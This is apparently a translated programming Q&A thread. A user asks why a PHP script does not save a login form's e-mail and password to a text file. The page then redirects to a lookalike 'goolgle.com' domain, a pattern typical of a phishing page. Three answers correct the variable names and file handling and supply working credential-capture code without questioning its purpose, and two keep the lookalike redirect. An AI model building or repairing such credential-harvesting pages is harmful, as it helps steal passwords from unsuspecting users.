Receive form data in a TXT file

Asked

Viewed 210 times

0

Guys, I’ve got some college work to do and I’m trying, I’ve already got some online forms and nothing. I’d like to know where I’m going wrong... :)

FRONT END THAT SENDS

<!DOCTYPE html>
<html>
<title>Jumanji World</title>
<body>

<h2>Welcome to Jumanji</h2>

<form action="salva.php" method="POST" >
  <input type="email" name="usuario" id="usuario" placeholder="E-mail: ">
  <input type="password" name="senha" id="senha" placeholder="Senha: ">
  <input type=submit value="Entrar">
</form>

<p>“Na selva, espere afoito, até o resultado ser cinco ou oito”..</p>



</body>
</html>

PHP THAT RECEIVES

<?php
$login = $POST["user"];
$senha = $POST["pass"];

$consolidado = "Email:  $user - Senha: $pass";
$arquivo = fopen('meu_arquivo.txt', 'w');
if ($arquivo == false)
    die('Não foi possível enviar seu arquivo.');
fwrite($arquivo, $consolidado);
fclose($arquivo);
header("location: https://www.goolgle.com/");
?>
  • What’s going on? Gives some error message?

3 answers

0

FRONT END THAT SENDS

<!DOCTYPE html>
<html>
<title>Jumanji World</title>
<body>

<h2>Welcome to Jumanji</h2>

<form action="salva.php" method="POST" >
  <input type="email" name="usuario" id="usuario" placeholder="E-mail: ">
  <input type="password" name="senha" id="senha" placeholder="Senha: ">
  <input type=submit value="Entrar">
</form>

<p>“Na selva, espere afoito, até o resultado ser cinco ou oito”..</p>

</body>
</html>

PHP THAT RECEIVES

<?php
$login = $_POST["usuario"];
$senha = $_POST["senha"];

$consolidado = "Email:  $login - Senha: $senha";
$arquivo = fopen('meu_arquivo.txt', 'w');
if ($arquivo == false)
    die('Não foi possível enviar seu arquivo.');
fwrite($arquivo, $consolidado);
fclose($arquivo);
//header("location: https://www.goolgle.com/");
?>

From the FRONT END THAT SENDS we have:

  • a form you are sending via POST an input with name = usuario and other input with name senha
  • PHP will make use of these names to recover input values
  • $ _POST (e não $POST conforme se vê na sua pergunta e respostas) is a super global PHP variable used to collect form data after sending an HTML form with the = "POST method"
  • If you send an input with name="usuario" in PHP has to recover so $_POST["usuario"];
  • The variable $consolidado should contain the variables created in PHP $login e $senha
  • About the line at the end of PHP header("location: https://www.goolgle.com/"); will generate a PHP error Warning: Cannot Modify header information - headers already sent by... which you can read in this post headers already sent

0

I believe the problem is in the attribute name that you are giving to the fields name="usuario" and name="senha" they differ from what you are picking up in the arrangement (array) $POST.

$login = $POST["user"];
$senha = $POST["pass"];

You can use some debugger (debug) to see this (which I strongly suggest) or print (echo) and see what’s inside the array $POST.

0


Hello, we have 2 problems!

1) Names of variables

2) Parameter of fopen PHP - fopen

3) Used $POST instead of the global variable $_POST

Try STANDARDIZE the variable names (Form and PHP)

HTML

<!DOCTYPE html>
<html>
<title>Jumanji World</title>
<body>

<h2>Welcome to Jumanji</h2>

<form action="salva.php" method="POST" >
  <input type="email" name="email" id="email" placeholder="E-mail: ">
  <input type="password" name="senha" id="senha" placeholder="Senha: ">
  <input type=submit value="Entrar">
</form>

<p>“Na selva, espere afoito, até o resultado ser cinco ou oito”..</p>
</body>
</html>

SALVA.PHP

<?php
$email= $_POST["email"]; // = name do form
$senha = $_POST["senha"]; // = name do form

$consolidado = "Email:  $email- Senha: $senha";
$arquivo = fopen('meu_arquivo.txt', 'w+'); // w+: cria o arquivo se não existir
if ($arquivo == false)
    die('Não foi possível enviar seu arquivo.');
fwrite($arquivo, $consolidado);
fclose($arquivo);
header("location: https://www.goolgle.com/");
?>

I hope I’ve helped!

  • Hello Caique! I reviewed the answer and I had forgotten a detail! Now it’s complete! If it was useful, please accept the answer ;)

Browser other questions tagged

You are not signed in. Login or sign up in order to post.